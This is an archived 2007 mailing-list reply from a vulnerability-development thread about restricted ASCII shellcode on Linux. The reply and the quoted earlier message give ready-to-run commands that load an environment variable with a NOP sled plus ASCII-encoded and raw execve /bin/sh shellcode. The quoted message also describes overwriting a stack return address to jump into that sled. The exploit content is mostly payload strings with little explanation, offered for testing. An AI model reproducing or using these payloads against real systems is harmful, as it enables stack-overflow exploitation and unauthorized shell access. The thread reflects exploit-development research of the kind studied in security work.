Vulnerability Development mailing list archives
Re: Re: Linux restricted ASCII Shellcode
From: RaiSe <raise () enye-sec org>
Date: Mon, 23 Apr 2007 15:13:14 +0200 (CEST)
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi. Here you have 1 ascii shellcode more, try it:export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLX3EX1EX1eX3eXjEX4EPh8eshXf5VJPheebiXf5JJPTYjYX4YPQTPUX3HX1HX1XX3XXZYJf1UVBj8X0EW432G"'`
It is very old, but you can test if it works. - --------------------------- RaiSe - eNYe Sec http://www.enye-sec.org - --------------------------- On Thu, 19 Apr 2007, nonexistant () nospam org wrote:
I'm exploiting the stack overflow inserting the shellcode in a environment variable: export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` And then overwriting de RET address to point somewhere in the NOP section of "SHELLCODE". Pretty simple. That works perfectly. But if I try with this environment variable: export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0LohfhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBabivERSvT29"'` This do not work. I have tryed with many different ASCII shellcodes all of them ripped from examples in C style. What I'm doing wrong?
-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQFGLLDxz75ZMb4GaLYRAtYEAJ9Vg20VEnPy3WNQlU7vF8UyzJlZWACgg8oz B0GqslmPdBJ6hhKtNns3JaQ= =uXSr -----END PGP SIGNATURE-----
Current thread:
- Linux restricted ASCII Shellcode notexist (Apr 16)
- Re: Linux restricted ASCII Shellcode Jerome Athias (Apr 16)
- Re: Linux restricted ASCII Shellcode nnp (Apr 16)
- <Possible follow-ups>
- Re: Re: Linux restricted ASCII Shellcode nonexistant (Apr 19)
- Re: Linux restricted ASCII Shellcode Deian Stefan (Apr 20)
- Re: Re: Linux restricted ASCII Shellcode RaiSe (Apr 24)
- Re: Re: Linux restricted ASCII Shellcode nonexistant (Apr 22)
- Re: Re: Linux restricted ASCII Shellcode Deian Stefan (Apr 22)
- Re: Linux restricted ASCII Shellcode shadown (Apr 24)
- Re: Linux restricted ASCII Shellcode shadown (Apr 24)
- Re: Linux restricted ASCII Shellcode Jerome Athias (Apr 16)